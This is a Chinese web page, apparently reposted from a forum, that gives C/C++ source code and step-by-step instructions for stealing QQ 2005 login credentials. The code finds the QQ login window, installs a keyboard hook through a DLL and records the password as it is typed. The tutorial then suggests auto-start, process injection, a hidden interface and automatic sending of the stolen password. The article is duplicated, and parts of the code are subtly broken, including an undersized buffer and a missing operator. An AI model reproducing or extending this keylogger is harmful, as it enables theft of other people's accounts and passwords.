| 導購 | 订阅 | 在线投稿
分享
 
 
 

編程實現盜2005 Beta2版QQ

來源:互聯網  2008-06-01 02:07:15  評論

一、思路分析(一) 數據包的角度 (二) 鈎子角度 1. 鈎子簡介 2. 程序流程 ;二、 實現過程

(一) 定義宏

(二) 枚舉進程找到QQ.exe

(三) 枚舉所有窗口,找屬于QQ.exe的窗口

(四) 獲取用戶名、密碼、登陸按鈕的句柄

(五) 創建鈎子用的DLL

(六) 安裝鈎子

一直以來我對盜QQ這種技術都比較的好奇,最近爲了練手,決定寫一個盜QQ的程序。經過一個星期的努力,終于得到了QQ的用戶名和密碼,效果如下:

編程實現盜2005 Beta2版QQ

本程序在Win2003 + QQ2005 Beta2下測試通過。下面就來分析一下整個實現過程。

一、 思路分析

一般這種盜QQ程序,都可以從兩個角度分析。它們分別是:數據包和鈎子技術。

(一) 數據包的角度

從這個角度入手的難度較大,這需要對QQ所用的協議非常的清楚,還要了解QQ發送的數據包采用的算法,然後把QQ發送的數據包截獲下來,通過逆向分析最終得到QQ密碼。由于本人對QQ所用的協議沒什麽研究,所以沒有采用這個思路,以後有機會倒是可以試試。

(二) 鈎子角度

平時寫盜密碼程序用的最多的應該就是鈎子技術了,因爲操作系統提供的API可以讓我們很輕松的安裝和卸載鈎子,從而輕易得到我們想要的東西。

1. 鈎子簡介

鈎子是一個很形象的詞,它就像一個「鈎」,通過它就可以把操作系統裏的消息給鈎下來,經過我們處理後再發送出去。具體如下圖:

編程實現盜2005 Beta2版QQ

2. 程序流程

Spy++這個工具可以讓我們查看QQ登陸窗口的許多信息,如下圖:

編程實現盜2005 Beta2版QQ

從圖中可以大概知道,QQ登陸窗口左上角的文字並不是直接寫上去的,也就是說不能直接用FindWindow()方法得到登陸窗口的句柄。另外,雙擊某一個子窗口,還可以查看該窗口的風格等,本程序就是利用登陸窗口的樣式不變才找到了登陸窗口的句柄。以下是程序的具體流程圖:

編程實現盜2005 Beta2版QQ

編程實現盜2005 Beta2版QQ

編程實現盜2005 Beta2版QQ

二、 實現過程

有了上面這個流程圖後,經常寫win32程序的朋友應該也能寫出這種盜QQ程序的,你無妨自已寫寫試試,有不明白的地方可以參考我的程序。以下爲我的程序的要害代碼:

(一) 定義宏

//QQ登陸框正常情況下的風格

#define QQLoginDlgNormalStyle 0x94CA00C4

//QQ登陸框最小化時的風格

#define QQLoginDlgMiniStyle 0xB4CA00C4

//用戶名下拉控件的ID

#define QQLoginUserNameId 0x0000008A

//密碼控件文本框的ID

#define QQLoginPassWordId 0x000000B4

//登陸按扭的ID

#define QQLoginButtonId 0x00003EA0

(二) 枚舉進程找到QQ.exe

//定義PROCESSENTRY32結構

PROCESSENTRY32 pe;

pe.dwSize = sizeof(pe);

HANDLE hProcessSnap;

//所有進程快照

hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);

if(hProcessSnap == INVALID_HANDLE_VALUE)

{

printf("進程快照失敗!\n");

return -1;

}

BOOL bRet;

//遍曆進程快照,輪流顯示每個進程的信息

bRet = Process32First(hProcessSnap,&pe);

while(bRet)

{

//pe.szExeFile保存的值爲進程對應的可執行文件名

if(strcmp(pe.szExeFile,"QQ.exe") ==0)

{

//這個時候的pe.th32ProcessID值,就是QQ.exe的PID值了。

BOOL bRet;

//枚舉所有窗口,把進程PID傳給回調函數EnumAllWindowsProc

bRet = EnumWindows(EnumAllWindowsProc,(LPARAM)pe.th32ProcessID);

if(bRet == FALSE)

{

printf("枚舉所有窗口失敗!\n");

return -1;

}

}

}

這裏要提醒一點,要調用CreateToolhelp32Snapshot()、Process32First()這些函數,需要在頂部加一句代碼:#include <tlhelp32.h>。

(三) 枚舉所有窗口,找屬于QQ.exe的窗口

BOOL CALLBACK EnumAllWindowsProc(HWND hwnd,LPARAM lParam)

{

if(hwnd == NULL)

{

return FALSE;

}

//QQ.exe的ID

DWORD dwQQProcessID;

dwQQProcessID = (DWORD)lParam;

GetWindowThreadProcessId(hwnd,&dwCreateWindowProcessID);

//假如創建QQ.exe的進程等于創建窗口的進程

if(dwQQProcessID == dwCreateWindowProcessID)

{

LONG lWindowStyle;

//找到窗口的風格

lWindowStyle = GetWindowLong(hwnd,GWL_STYLE);

//假如條件成立,表示當前窗口爲登陸窗口

if(lWindowStyle == QQLoginDlgNormalStyle

lWindowStyle == QQLoginDlgMiniStyle)

{

//保存登陸窗口的句柄

hLoginWindow = hwnd;

}

}

return TRUE;

}

該回調函數執行完後,就得到QQ登陸窗口的句柄。保存在hLoginWindow中。

(四) 獲取用戶名、密碼、登陸按鈕的句柄

BOOL CALLBACK EnumChildWindowsProc(HWND hwnd,LPARAM lParam)

{

if(hwnd == FALSE)

{

return FALSE;

}

LONG lID;

//取得所有子窗口的ID

lID = GetWindowLong(hwnd, GWL_ID);

//該句表示找到用戶名的句柄

if(lID == QQLoginUserNameId)

{

hUserName = hwnd;

}

else if(lID == QQLoginPasswordId)

{

hUserPwd = hwnd;

}

else if(lID == QQLoginButtonId)

{

hLoginButton = hwnd;

}

return TRUE;

}

注重:以上回調函數用到了三個變量,別忘了在頂部定義哦!

//用戶名、密碼、登陸按鈕的句柄

HWND hUserName;

HWND hUserPwd;

HWND hLoginButton;

(五) 創建鈎子用的DLL

1. 申明函數

新建一個Win32 Dynamic-Link Library項目,命名爲:QQHook。選擇空DLL選項,然後在QQHook.h中申明函數:

#define QQHookLIB_API __declspec(dlleXPort)

//聲明要導出的函數

//安裝鍵盤鈎子函數

BOOL QQHookLIB_API SetKeyBoardHook(BOOL bInstall,

HMODULE hDll,

HWND hLoginWindow,

HWND hUserName,

HWND hUserPwd,

HWND hLoginButton,

DWORD dwCreateWindowProcessID);

2. 申明共享數據段以及導出函數

選「新建文件Text File」,文件名稱處輸入QQHook.def,然後添加如下代碼:

EXPORTS

SetKeyBoardHook

SECTIONS

QQSpyShare Read Write Shared

這樣SetKeyBoardHook函數即爲導出函數了,可以在別的項目中被調用。

3. DLL主要代碼

接下來在QQHook.cpp文件中添加如下代碼:

//共享數據段,注重要初始化

#pragma data_seg("QQSpyShare")

HWND g_hLoginWindowWnd = NULL; //QQ主窗口句柄

HHOOK g_hMessageHook = NULL; //消息鈎子句柄

HHOOK g_hKeyBoardHook = NULL; //鍵盤鈎子句柄

HWND hQQLoginUserName = NULL;

HWND hQQLoginUserPwd = NULL;

HWND hQQLoginButton = NULL;

#pragma data_seg()

//安裝鍵盤鈎子函數

BOOL QQHookLIB_API SetKeyBoardHook(BOOL bInstall,

HMODULE hDll,

HWND hLoginWindow,

HWND hUserName,

HWND hUserPwd,

HWND hLoginButton,

DWORD dwCreateWindowProcessID)

{

BOOL bResult;

if(bInstall)

{

//保存用戶名的句柄

hQQLoginUserName = hUserName;

//保存密碼的句柄

hQQLoginUserPwd = hUserPwd;

//保存登陸QQ按鈕的句柄

hQQLoginButton = hLoginButton;

//保存登陸窗口的句柄

g_hLoginWindowWnd = hLoginWindow;

//登陸窗口的主線程,安裝鈎子的時候要用

DWORD dwCreateLoginWindowThreadId;

dwCreateLoginWindowThreadId = GetWindowThreadProcessId(hLoginWindow,NULL);

//在登陸窗口主線程上安裝鈎子

g_hKeyBoardHook = SetWindowsHookEx(

WH_KEYBOARD, //安裝鍵盤鈎子

(HOOKPROC)KeyBoardProc, //鍵盤鈎子回調函數

hDll, //QQHook.dll模塊句柄

dwCreateLoginWindowThreadId); //登陸窗口的主線程

if(g_hKeyBoardHook == NULL)

{

printf("鍵盤鈎子安裝失敗!");

return FALSE;

}

else

{

printf("鍵盤鈎子安裝成功了!");

return TRUE;

}

}

else

{

//卸載鈎子

bResult = UnhookWindowsHookEx(g_hKeyBoardHook);

if(bResult == TRUE)

{

printf("鍵盤鈎子卸載成功!");

return TRUE;

}

else

{

printf("鍵盤鈎子卸載失敗!");

return FALSE;

}

}

return TRUE;

}

以上代碼的作用是在登陸窗口的主線程上安裝鈎子,這樣當在QQ登陸窗口中有鍵盤輸入的時候,就會執行回調函數裏的代碼。只要我們在鍵盤鈎子回調函數中將得到的按鍵信息進行信息,即可將QQ密碼記錄下來。以下爲鍵盤鈎子回調函數代碼://鍵盤鈎子回調函數

LRESULT CALLBACK KeyBoardProc(int ncode,

WPARAM wParam,

LPARAM lParam

)

{

//創建一個緩沖區保存連起來的密碼

static char buf[250] = {0};

//用于保存用戶名框的內容

char cUserName[10];

ZeroMemory(cUserName, 10);

//用于保存用戶在密碼框上的每一個按鍵

char cUserPwd[30];

//假如按的鍵是回車鍵

if (wParam == VK_RETURN && lParam > 0)

{

//得到用戶名的值保存在cUserName中,密碼框的值不能通過這種方法獲得

SendMessage(hQQLoginUserName, WM_GETTEXT, 10, (LPARAM)cUserName);

}

//假如不是按回車,並且是在密碼框中輸入

if (lParam > 0 && wParam != VK_RETURN &&

//當前輸入框爲密碼框

hQQLoginUserPwd == GetFocus())

{

//記下密碼框中輸入的字符

GetKeyNameText(lParam, cUserPwd, 30);

//以下代碼把每一次按的鍵連起來形成一個完整的密碼

static int index = 0;

if(index == 0)

{

if(strcmp(cUserPwd,"Num 1") == 0)

{

strcpy(buf,"1");

}

else if(strcmp(cUserPwd,"Num 2") == 0)

{

strcpy(buf,"2");

}

else if(strcmp(cUserPwd,"Num 3") == 0)

{

strcpy(buf,"3");

}

else if(strcmp(cUserPwd,"Num 4") == 0)

{

strcpy(buf,"4");

}

else if(strcmp(cUserPwd,"Num 5") == 0)

{

strcpy(buf,"5");

}

else if(strcmp(cUserPwd,"Num 6") == 0)

{

strcpy(buf,"6");

}

else if(strcmp(cUserPwd,"Num 7") == 0)

{

strcpy(buf,"7");

}

else if(strcmp(cUserPwd,"Num 8") == 0)

{

strcpy(buf,"8");

}

else if(strcmp(cUserPwd,"Num 9") == 0)

{

strcpy(buf,"9");

}

else if(strcmp(cUserPwd,"Num 0") == 0)

{

strcpy(buf,"0");

}

else

{

strcpy(buf,cUserPwd);

}

}

else

{

if(strcmp(cUserPwd,"Num 1") == 0)

{

strcat(buf,"1");

}

else if(strcmp(cUserPwd,"Num 2") == 0)

{

strcat(buf,"2");

}

else if(strcmp(cUserPwd,"Num 3") == 0)

{

strcat(buf,"3");

}

else if(strcmp(cUserPwd,"Num 4") == 0)

{

strcat(buf,"4");

}

else if(strcmp(cUserPwd,"Num 5") == 0)

{

strcat(buf,"5");

}

else if(strcmp(cUserPwd,"Num 6") == 0)

{

strcat(buf,"6");

}

else if(strcmp(cUserPwd,"Num 7") == 0)

{

strcat(buf,"7");

}

else if(strcmp(cUserPwd,"Num 8") == 0)

{

strcat(buf,"8");

}

else if(strcmp(cUserPwd,"Num 9") == 0)

{

strcat(buf,"9");

}

else if(strcmp(cUserPwd,"Num 0") == 0)

{

strcat(buf,"0");

}

else

{

strcat(buf,cUserPwd);

}

}

++index;

}

//假如按的是回車,將上面得到的用戶名和密碼連在一起顯示

if (wParam == VK_RETURN && lParam > 0)

{

char cAccount;

strcpy(&cAccount,"用戶名:");

strcat(&cAccount,cUserName);

strcat(&cAccount,"\n密 碼:");

strcat(&cAccount,buf);

strcat(&cAccount,"\nBy:∮明天去要飯");

//cAccount中保存了用戶名和密碼,想怎麽處理就怎麽處理

MessageBox(NULL,&cAccount,"QQ帳號:",MB_OK);

return CallNextHookEx(g_hKeyBoardHook, ncode, wParam, lParam);

}

return CallNextHookEx(g_hKeyBoardHook, ncode, wParam, lParam);

}

這裏需要注重以下幾個問題:

1. 回調函數相當于是QQ.exe的函數,所以在DLL中的變量值假如想在回調函數中用,需要把變量定義在共享數據段中,這樣才能被回調函數執行。

2. 定義的變量index之所以要定義成static,是因爲index要保持上一次運行的值,也就是說index只能被初始化一次。static char buf[250] = {0}這一句也是一個道理。當用戶在QQ登陸窗口的密碼框中輸東西時,就會執行該回調函數,該回調函數每一次記下的值只是一個鍵盤按鍵,只有將按鍵連起來才是一個密碼。

3. 由于按1得到的是Num 1,按2得到的是Num 2,所以要對得到的按鍵進行處理。

4. 從這個回調函數可以知道,假如用戶在輸密碼的時候後退了,或是刪除了密碼再繼續輸入,那麽記錄下來的內容將是不准確的。另外,當用戶輸入的是小寫字母的時候,顯示出來的值會是大寫字母,這也是一個BUG,不過盜QQ程序的原理就是這樣了。

(六) 申明導出函數

(七) 安裝鈎子

上面只是提供了一個安裝鈎子的函數,還沒有真正進行安裝,接下來才是真正開始安裝鈎子。

//用戶名、密碼、登陸按鈕的句柄都不爲空時安裝鈎子

if(hUserName != NULL &&

hUserPwd != NULL &&

hLoginButton != NULL)

{

//得到DLL模塊的句柄

hDll = GetModuleHandle("QQHook.dll");

if(hDll == NULL)

{

return FALSE;

}

//安裝鍵盤鈎子

bKeyBoardHook = SetKeyBoardHook(

TRUE,

hDll,

hLoginWindow,

hUserName,

hUserPwd,

hLoginButton,

dwCreateWindowProcessID);

if(bKeyBoardHook == FALSE)

{

printf("調用鍵盤鈎子失敗!");

return FALSE;

}

}

以上就是盜QQ程序的要害代碼了,打開QQ登陸框,然後運行主程序QQSpy.exe,接下來輸用戶名和密碼並回車,即會彈出窗口顯示用戶名和密碼。本程序還可以進行如下改進:

1. 改進記錄密碼的代碼。

2. 加入對鼠標點擊「登錄QQ」進行HOOK的代碼。

3. 設置成自動啓動。

4. 注入到別的進程中。

5. 運行的時候沒有界面,記錄下來後自動發送密碼。

由于本人初學c/c++不久,所以寫這個程序的時候感覺很吃力,幸好我的朋友們在我有困難的時候總能給我或多或少的幫助,在此要感謝他們,非凡要感謝蘭陵笑笑生給我提供思路。

一、思路分析 (一) 數據包的角度 (二) 鈎子角度 1. 鈎子簡介 2. 程序流程 ;二、 實現過程   (一) 定義宏   (二) 枚舉進程找到QQ.exe   (三) 枚舉所有窗口,找屬于QQ.exe的窗口   (四) 獲取用戶名、密碼、登陸按鈕的句柄   (五) 創建鈎子用的DLL   (六) 安裝鈎子   一直以來我對盜QQ這種技術都比較的好奇,最近爲了練手,決定寫一個盜QQ的程序。經過一個星期的努力,終于得到了QQ的用戶名和密碼,效果如下: [url=/bbs/detail_1785397.html][img]http://image.wangchao.net.cn/it/1323423599006.jpg[/img][/url]   本程序在Win2003 + QQ2005 Beta2下測試通過。下面就來分析一下整個實現過程。   一、 思路分析   一般這種盜QQ程序,都可以從兩個角度分析。它們分別是:數據包和鈎子技術。   (一) 數據包的角度   從這個角度入手的難度較大,這需要對QQ所用的協議非常的清楚,還要了解QQ發送的數據包采用的算法,然後把QQ發送的數據包截獲下來,通過逆向分析最終得到QQ密碼。由于本人對QQ所用的協議沒什麽研究,所以沒有采用這個思路,以後有機會倒是可以試試。   (二) 鈎子角度   平時寫盜密碼程序用的最多的應該就是鈎子技術了,因爲操作系統提供的API可以讓我們很輕松的安裝和卸載鈎子,從而輕易得到我們想要的東西。 1. 鈎子簡介   鈎子是一個很形象的詞,它就像一個「鈎」,通過它就可以把操作系統裏的消息給鈎下來,經過我們處理後再發送出去。具體如下圖: [url=/bbs/detail_1785397.html][img]http://image.wangchao.net.cn/it/1323423599111.jpg[/img][/url]   2. 程序流程   Spy++這個工具可以讓我們查看QQ登陸窗口的許多信息,如下圖: [url=/bbs/detail_1785397.html][img]http://image.wangchao.net.cn/it/1323423599223.jpg[/img][/url]   從圖中可以大概知道,QQ登陸窗口左上角的文字並不是直接寫上去的,也就是說不能直接用FindWindow()方法得到登陸窗口的句柄。另外,雙擊某一個子窗口,還可以查看該窗口的風格等,本程序就是利用登陸窗口的樣式不變才找到了登陸窗口的句柄。以下是程序的具體流程圖: [url=/bbs/detail_1785397.html][img]http://image.wangchao.net.cn/it/1323423599384.jpg[/img][/url] [url=/bbs/detail_1785397.html][img]http://image.wangchao.net.cn/it/1323423599559.jpg[/img][/url] [url=/bbs/detail_1785397.html][img]http://image.wangchao.net.cn/it/1323423599758.jpg[/img][/url]   二、 實現過程   有了上面這個流程圖後,經常寫win32程序的朋友應該也能寫出這種盜QQ程序的,你無妨自已寫寫試試,有不明白的地方可以參考我的程序。以下爲我的程序的要害代碼:   (一) 定義宏   //QQ登陸框正常情況下的風格   #define QQLoginDlgNormalStyle 0x94CA00C4   //QQ登陸框最小化時的風格   #define QQLoginDlgMiniStyle 0xB4CA00C4   //用戶名下拉控件的ID   #define QQLoginUserNameId 0x0000008A   //密碼控件文本框的ID   #define QQLoginPassWordId 0x000000B4   //登陸按扭的ID   #define QQLoginButtonId 0x00003EA0   (二) 枚舉進程找到QQ.exe   //定義PROCESSENTRY32結構   PROCESSENTRY32 pe;   pe.dwSize = sizeof(pe);   HANDLE hProcessSnap;   //所有進程快照   hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);    if(hProcessSnap == INVALID_HANDLE_VALUE)   {      printf("進程快照失敗!\n");     return -1;    }    BOOL bRet;   //遍曆進程快照,輪流顯示每個進程的信息   bRet = Process32First(hProcessSnap,&pe);   while(bRet)    {     //pe.szExeFile保存的值爲進程對應的可執行文件名      if(strcmp(pe.szExeFile,"QQ.exe") ==0)    {    //這個時候的pe.th32ProcessID值,就是QQ.exe的PID值了。   BOOL bRet;   //枚舉所有窗口,把進程PID傳給回調函數EnumAllWindowsProc    bRet = EnumWindows(EnumAllWindowsProc,(LPARAM)pe.th32ProcessID);    if(bRet == FALSE)   {    printf("枚舉所有窗口失敗!\n");   return -1;    }   }   }   這裏要提醒一點,要調用CreateToolhelp32Snapshot()、Process32First()這些函數,需要在頂部加一句代碼:#include <tlhelp32.h>。   (三) 枚舉所有窗口,找屬于QQ.exe的窗口   BOOL CALLBACK EnumAllWindowsProc(HWND hwnd,LPARAM lParam)   {    if(hwnd == NULL)    {    return FALSE;   }    //QQ.exe的ID    DWORD dwQQProcessID;   dwQQProcessID = (DWORD)lParam;   GetWindowThreadProcessId(hwnd,&dwCreateWindowProcessID);   //假如創建QQ.exe的進程等于創建窗口的進程    if(dwQQProcessID == dwCreateWindowProcessID)   {    LONG lWindowStyle;    //找到窗口的風格    lWindowStyle = GetWindowLong(hwnd,GWL_STYLE);    //假如條件成立,表示當前窗口爲登陸窗口    if(lWindowStyle == QQLoginDlgNormalStyle    lWindowStyle == QQLoginDlgMiniStyle)   {   //保存登陸窗口的句柄    hLoginWindow = hwnd;    }    }    return TRUE;   }   該回調函數執行完後,就得到QQ登陸窗口的句柄。保存在hLoginWindow中。   (四) 獲取用戶名、密碼、登陸按鈕的句柄   BOOL CALLBACK EnumChildWindowsProc(HWND hwnd,LPARAM lParam)   {    if(hwnd == FALSE)   {    return FALSE;   }   LONG lID;   //取得所有子窗口的ID   lID = GetWindowLong(hwnd, GWL_ID);    //該句表示找到用戶名的句柄   if(lID == QQLoginUserNameId)   {   hUserName = hwnd;    }   else if(lID == QQLoginPasswordId)   {   hUserPwd = hwnd;   }   else if(lID == QQLoginButtonId)    {    hLoginButton = hwnd;   }   return TRUE;   }   注重:以上回調函數用到了三個變量,別忘了在頂部定義哦!   //用戶名、密碼、登陸按鈕的句柄   HWND hUserName;   HWND hUserPwd;   HWND hLoginButton;   (五) 創建鈎子用的DLL   1. 申明函數   新建一個Win32 Dynamic-Link Library項目,命名爲:QQHook。選擇空DLL選項,然後在QQHook.h中申明函數:   #define QQHookLIB_API __declspec(dlleXPort)   //聲明要導出的函數   //安裝鍵盤鈎子函數   BOOL QQHookLIB_API SetKeyBoardHook(BOOL bInstall, HMODULE hDll, HWND hLoginWindow, HWND hUserName, HWND hUserPwd, HWND hLoginButton, DWORD dwCreateWindowProcessID);   2. 申明共享數據段以及導出函數   選「新建文件Text File」,文件名稱處輸入QQHook.def,然後添加如下代碼:   EXPORTS    SetKeyBoardHook   SECTIONS   QQSpyShare Read Write Shared   這樣SetKeyBoardHook函數即爲導出函數了,可以在別的項目中被調用。   3. DLL主要代碼   接下來在QQHook.cpp文件中添加如下代碼:   //共享數據段,注重要初始化   #pragma data_seg("QQSpyShare")   HWND g_hLoginWindowWnd = NULL; //QQ主窗口句柄   HHOOK g_hMessageHook = NULL; //消息鈎子句柄   HHOOK g_hKeyBoardHook = NULL; //鍵盤鈎子句柄   HWND hQQLoginUserName = NULL;   HWND hQQLoginUserPwd = NULL;   HWND hQQLoginButton = NULL;   #pragma data_seg()   //安裝鍵盤鈎子函數   BOOL QQHookLIB_API SetKeyBoardHook(BOOL bInstall, HMODULE hDll, HWND hLoginWindow, HWND hUserName, HWND hUserPwd, HWND hLoginButton, DWORD dwCreateWindowProcessID)   {   BOOL bResult;   if(bInstall)   {   //保存用戶名的句柄   hQQLoginUserName = hUserName;    //保存密碼的句柄    hQQLoginUserPwd = hUserPwd;   //保存登陸QQ按鈕的句柄    hQQLoginButton = hLoginButton;   //保存登陸窗口的句柄   g_hLoginWindowWnd = hLoginWindow;   //登陸窗口的主線程,安裝鈎子的時候要用    DWORD dwCreateLoginWindowThreadId;   dwCreateLoginWindowThreadId = GetWindowThreadProcessId(hLoginWindow,NULL);    //在登陸窗口主線程上安裝鈎子   g_hKeyBoardHook = SetWindowsHookEx(    WH_KEYBOARD, //安裝鍵盤鈎子   (HOOKPROC)KeyBoardProc, //鍵盤鈎子回調函數    hDll, //QQHook.dll模塊句柄    dwCreateLoginWindowThreadId); //登陸窗口的主線程   if(g_hKeyBoardHook == NULL)   {   printf("鍵盤鈎子安裝失敗!");   return FALSE;    }   else    {    printf("鍵盤鈎子安裝成功了!");    return TRUE;   }    }    else    {    //卸載鈎子    bResult = UnhookWindowsHookEx(g_hKeyBoardHook);   if(bResult == TRUE)   {    printf("鍵盤鈎子卸載成功!");    return TRUE;   }    else    {    printf("鍵盤鈎子卸載失敗!");    return FALSE;    }    }    return TRUE;   }   以上代碼的作用是在登陸窗口的主線程上安裝鈎子,這樣當在QQ登陸窗口中有鍵盤輸入的時候,就會執行回調函數裏的代碼。只要我們在鍵盤鈎子回調函數中將得到的按鍵信息進行信息,即可將QQ密碼記錄下來。以下爲鍵盤鈎子回調函數代碼:  //鍵盤鈎子回調函數   LRESULT CALLBACK KeyBoardProc(int ncode,  WPARAM wParam,  LPARAM lParam   )   {    //創建一個緩沖區保存連起來的密碼   static char buf[250] = {0};    //用于保存用戶名框的內容   char cUserName[10];    ZeroMemory(cUserName, 10);    //用于保存用戶在密碼框上的每一個按鍵   char cUserPwd[30];    //假如按的鍵是回車鍵    if (wParam == VK_RETURN && lParam > 0)    {   //得到用戶名的值保存在cUserName中,密碼框的值不能通過這種方法獲得   SendMessage(hQQLoginUserName, WM_GETTEXT, 10, (LPARAM)cUserName);    }   //假如不是按回車,並且是在密碼框中輸入    if (lParam > 0 && wParam != VK_RETURN &&    //當前輸入框爲密碼框    hQQLoginUserPwd == GetFocus())   {   //記下密碼框中輸入的字符   GetKeyNameText(lParam, cUserPwd, 30);   //以下代碼把每一次按的鍵連起來形成一個完整的密碼    static int index = 0;    if(index == 0)    {    if(strcmp(cUserPwd,"Num 1") == 0)    {    strcpy(buf,"1");    }    else if(strcmp(cUserPwd,"Num 2") == 0)   {    strcpy(buf,"2");    }    else if(strcmp(cUserPwd,"Num 3") == 0)    {    strcpy(buf,"3");    }    else if(strcmp(cUserPwd,"Num 4") == 0)   {   strcpy(buf,"4");   }   else if(strcmp(cUserPwd,"Num 5") == 0)   {   strcpy(buf,"5");    }    else if(strcmp(cUserPwd,"Num 6") == 0)    {    strcpy(buf,"6");    }    else if(strcmp(cUserPwd,"Num 7") == 0)   {    strcpy(buf,"7");   }   else if(strcmp(cUserPwd,"Num 8") == 0)    {   strcpy(buf,"8");    }    else if(strcmp(cUserPwd,"Num 9") == 0)    {    strcpy(buf,"9");    }    else if(strcmp(cUserPwd,"Num 0") == 0)    {   strcpy(buf,"0");   }    else   {   strcpy(buf,cUserPwd);    }   }   else    {   if(strcmp(cUserPwd,"Num 1") == 0)    {   strcat(buf,"1");   }    else if(strcmp(cUserPwd,"Num 2") == 0)   {    strcat(buf,"2");    }   else if(strcmp(cUserPwd,"Num 3") == 0)    {    strcat(buf,"3");    }   else if(strcmp(cUserPwd,"Num 4") == 0)   {   strcat(buf,"4");    }    else if(strcmp(cUserPwd,"Num 5") == 0)    {   strcat(buf,"5");    }   else if(strcmp(cUserPwd,"Num 6") == 0)   {   strcat(buf,"6");    }    else if(strcmp(cUserPwd,"Num 7") == 0)   {   strcat(buf,"7");    }   else if(strcmp(cUserPwd,"Num 8") == 0)   {    strcat(buf,"8");    }    else if(strcmp(cUserPwd,"Num 9") == 0)    {    strcat(buf,"9");    }    else if(strcmp(cUserPwd,"Num 0") == 0)    {    strcat(buf,"0");   }    else   {    strcat(buf,cUserPwd);    }    }    ++index;    }   //假如按的是回車,將上面得到的用戶名和密碼連在一起顯示   if (wParam == VK_RETURN && lParam > 0)   {    char cAccount;    strcpy(&cAccount,"用戶名:");   strcat(&cAccount,cUserName);    strcat(&cAccount,"\n密 碼:");    strcat(&cAccount,buf);    strcat(&cAccount,"\nBy:∮明天去要飯");    //cAccount中保存了用戶名和密碼,想怎麽處理就怎麽處理    MessageBox(NULL,&cAccount,"QQ帳號:",MB_OK);    return CallNextHookEx(g_hKeyBoardHook, ncode, wParam, lParam);    }    return CallNextHookEx(g_hKeyBoardHook, ncode, wParam, lParam);   }   這裏需要注重以下幾個問題:   1. 回調函數相當于是QQ.exe的函數,所以在DLL中的變量值假如想在回調函數中用,需要把變量定義在共享數據段中,這樣才能被回調函數執行。   2. 定義的變量index之所以要定義成static,是因爲index要保持上一次運行的值,也就是說index只能被初始化一次。static char buf[250] = {0}這一句也是一個道理。當用戶在QQ登陸窗口的密碼框中輸東西時,就會執行該回調函數,該回調函數每一次記下的值只是一個鍵盤按鍵,只有將按鍵連起來才是一個密碼。   3. 由于按1得到的是Num 1,按2得到的是Num 2,所以要對得到的按鍵進行處理。   4. 從這個回調函數可以知道,假如用戶在輸密碼的時候後退了,或是刪除了密碼再繼續輸入,那麽記錄下來的內容將是不准確的。另外,當用戶輸入的是小寫字母的時候,顯示出來的值會是大寫字母,這也是一個BUG,不過盜QQ程序的原理就是這樣了。   (六) 申明導出函數   (七) 安裝鈎子   上面只是提供了一個安裝鈎子的函數,還沒有真正進行安裝,接下來才是真正開始安裝鈎子。    //用戶名、密碼、登陸按鈕的句柄都不爲空時安裝鈎子    if(hUserName != NULL &&    hUserPwd != NULL &&    hLoginButton != NULL)    {    //得到DLL模塊的句柄    hDll = GetModuleHandle("QQHook.dll");    if(hDll == NULL)    {    return FALSE;    }    //安裝鍵盤鈎子    bKeyBoardHook = SetKeyBoardHook(    TRUE,    hDll,    hLoginWindow,    hUserName,    hUserPwd,    hLoginButton,    dwCreateWindowProcessID);    if(bKeyBoardHook == FALSE)    {    printf("調用鍵盤鈎子失敗!");   return FALSE;    }    }   以上就是盜QQ程序的要害代碼了,打開QQ登陸框,然後運行主程序QQSpy.exe,接下來輸用戶名和密碼並回車,即會彈出窗口顯示用戶名和密碼。本程序還可以進行如下改進:   1. 改進記錄密碼的代碼。   2. 加入對鼠標點擊「登錄QQ」進行HOOK的代碼。   3. 設置成自動啓動。   4. 注入到別的進程中。   5. 運行的時候沒有界面,記錄下來後自動發送密碼。   由于本人初學c/c++不久,所以寫這個程序的時候感覺很吃力,幸好我的朋友們在我有困難的時候總能給我或多或少的幫助,在此要感謝他們,非凡要感謝蘭陵笑笑生給我提供思路。
󰈣󰈤
王朝萬家燈火計劃
期待原創作者加盟
 
 
 
>>返回首頁<<
 
 
 
 
 熱帖排行
 
 
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有